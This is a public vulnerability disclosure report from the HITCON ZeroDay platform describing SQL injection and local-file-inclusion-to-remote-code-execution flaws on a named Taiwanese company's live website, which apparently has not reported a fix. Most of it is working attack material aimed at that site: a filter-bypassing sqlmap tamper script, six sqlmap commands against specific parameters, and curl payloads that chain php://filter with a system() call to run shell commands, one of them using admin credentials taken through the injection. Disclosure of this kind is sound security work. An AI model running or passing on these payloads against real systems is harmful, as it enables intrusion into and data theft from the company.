清河國際股份有限公司 網站存在 SQLi + LFI to RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00130
  •  發信 Vendor: 清河國際股份有限公司
  • Title: 清河國際股份有限公司 網站存在 SQLi + LFI to RCE
  • Introduction: 網站存在 SQLi + LFI to RCE

處理狀態

目前狀態

公開
Last Update : 2026/04/11
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/01/26 14:21:09 : 新提交 (由 BTtea 更新此狀態)
  • 2026/01/26 17:59:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/29 16:31:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/29 16:31:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/29 16:31:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/11 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00130
  • 通報者:blacktea_player (BTtea)
  • 風險:嚴重
  • 類型:本地檔案引入 (Local File Inclusion, LFI)

參考資料

攻擊者可經由該漏洞取得後端系統檔案及網站程式原始碼等敏感資料。

漏洞說明: OWASP - Testing for Local File Inclusion
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

Wikepedia 漏洞說明:
https://en.wikipedia.org/wiki/File_inclusion_vulnerability

OWASP Top 10 2007 - Malicious File Execution
https://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.healthstream.com.tw/index.php
https://www.healthstream.com.tw/product.php
https://www.healthstream.com.tw/comm/dic.php
https://www.healthstream.com.tw/index3.12.php
https://www.healthstream.com.tw/webadmin/index.php

敘述

使用工具 SQLmap 輔助測試 (以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇預設默認選項,通常是 y )

  • SQL injection

    sqlmap/tamper/healthstream.py -> --tamper healthstream

    #!/usr/bin/env python
    
    def dependencies():
      pass
    
    def tamper(payload, **kwargs):
      if payload:
          payload=payload.replace('SELECT','SELSELECTECT')
          payload=payload.replace('UNION','UNUNIONION')
          payload=payload.replace('LOAD_FILE','LOAD_LOAD_FILEFILE')
          payload=payload.replace('INTO','ININTOTO')
      return payload

    SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄,-p 參數可替換 )

    • https://www.healthstream.com.tw/index.php?act=products&pid=24&p=1

      GET 參數 pid 存在 SQL injection
      使用 sqlmap

      python3 sqlmap.py --random-agent -u "https://www.healthstream.com.tw/index.php?act=products&pid=20" --prefix "" --tamper healthstream --technique BET --batch --risk 3 -p pid --dbs

      運行結果
      圖片

    • https://www.healthstream.com.tw/index.php?act=product_detail&pid=24&proId=6

      GET 參數 proId 存在 SQL injection
      使用 sqlmap

      python3 sqlmap.py --random-agent -u "https://www.healthstream.com.tw/index.php?act=product_detail&pid=24&proId=6" --prefix "" --tamper healthstream --batch --risk 3 -p proId --dbs

      運行結果
      圖片

    • https://www.healthstream.com.tw/index.php?act=HR&cid=14

      GET 參數 cid 存在 SQL injection
      使用 sqlmap

      python3 sqlmap.py --random-agent -u "https://www.healthstream.com.tw/index.php?act=HR&cid=14" --prefix "" --tamper healthstream --batch --risk 3 -p cid --dbs

      運行結果
      圖片

    • https://www.healthstream.com.tw/product.php?id=199

      GET 參數 id 存在 SQL injection
      使用 sqlmap

      python3 sqlmap.py --random-agent -u "https://www.healthstream.com.tw/product.php?id=199" --prefix "" --tamper healthstream --technique BETU --union-cols 3 --batch --risk 3 --dbs

      運行結果
      圖片

    • https://www.healthstream.com.tw/comm/dic.php?type=local&idf=

      GET 參數 idf 存在 SQL injection
      使用 sqlmap

      python3 sqlmap.py --random-agent -u "https://www.healthstream.com.tw/comm/dic.php?type=local&idf=" --prefix "id from _web_link where id=1" --tamper healthstream --string "option value" --technique BETU --union-cols 1 --batch --risk 3 -p idf --dbs

      運行結果
      圖片

    • https://www.healthstream.com.tw/comm/dic.php?type=local&idf=id&namef=

      GET 參數 namef 存在 SQL injection
      使用 sqlmap

      python3 sqlmap.py --random-agent -u "https://www.healthstream.com.tw/comm/dic.php?type=local&idf=id&namef=" --prefix "title as title from _web_link where id=1" --tamper healthstream --string "option value" --technique BETU --union-cols 1 --batch --risk 3 -p namef --dbs

      運行結果
      圖片

  • LFI to RCE

    • https://www.healthstream.com.tw/index3.12.php?act=common.inc

      GET 參數 act 存在 LFI,可讀取程式碼
      LFI payload

      https://www.healthstream.com.tw/index3.12.php?act=php://filter/convert.base64-encode/resource=common.inc

      運行結果
      圖片
      圖片
      且也可以利用其弱點來達到 RCE
      LFI to RCE payload

      curl -ik "https://www.healthstream.com.tw/index3.12.php?act=php://filter/convert.base64-encode/convert.iconv.utf-8.utf-7/[太長省略]/convert.base64-decode/convert.base64-encode/convert.base64-decode/resource=common.inc" --data "7=system(%24_POST[0]);&0=cd%26ver" -s | tail -c +8800

      運行結果
      圖片

    • https://www.healthstream.com.tw/webadmin/index.php?type=web

      GET 參數 type 存在 LFI to RCE
      利用 SQL injection 找到後台帳密後,發現其 type 參數也有 LFI 問題
      LFI to RCE payload

      curl --cookie "PHPSESSID=[需更換為登入後的cookie]" "https://www.healthstream.com.tw/webadmin/index.php?type=php://filter/convert.base64-encode/convert.iconv.utf-8.utf-7/[太長省略]/convert.base64-decode/convert.base64-encode/convert.base64-decode/resource=web&do=list&cn=product_list" --data "7=system(%24_POST[0]);&0=cd%26ver"

      運行結果
      圖片

弱點名稱 CVSS 3.1 (score & vector) CWE 分類
SQL injection 9.4 (嚴重) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H CWE-89
LFI to RCE 10.0 (嚴重) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CWE-98

修補建議

SQL injection
* https://zh.wikipedia.org/zh-tw/SQL注入
* https://zh.wikipedia.org/zh-tw/參數化查詢 (推薦)
* 移除特殊符號 (不推薦的下策)

LFI
* https://en.wikipedia.org/wiki/File_inclusion_vulnerability
* 使用 switch case 的方式存取不同檔案分類 (推薦)
* PHP 可使用 basename() (使其僅能存取指定的某目錄底下無法跳脫)
* 過濾特殊字元

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;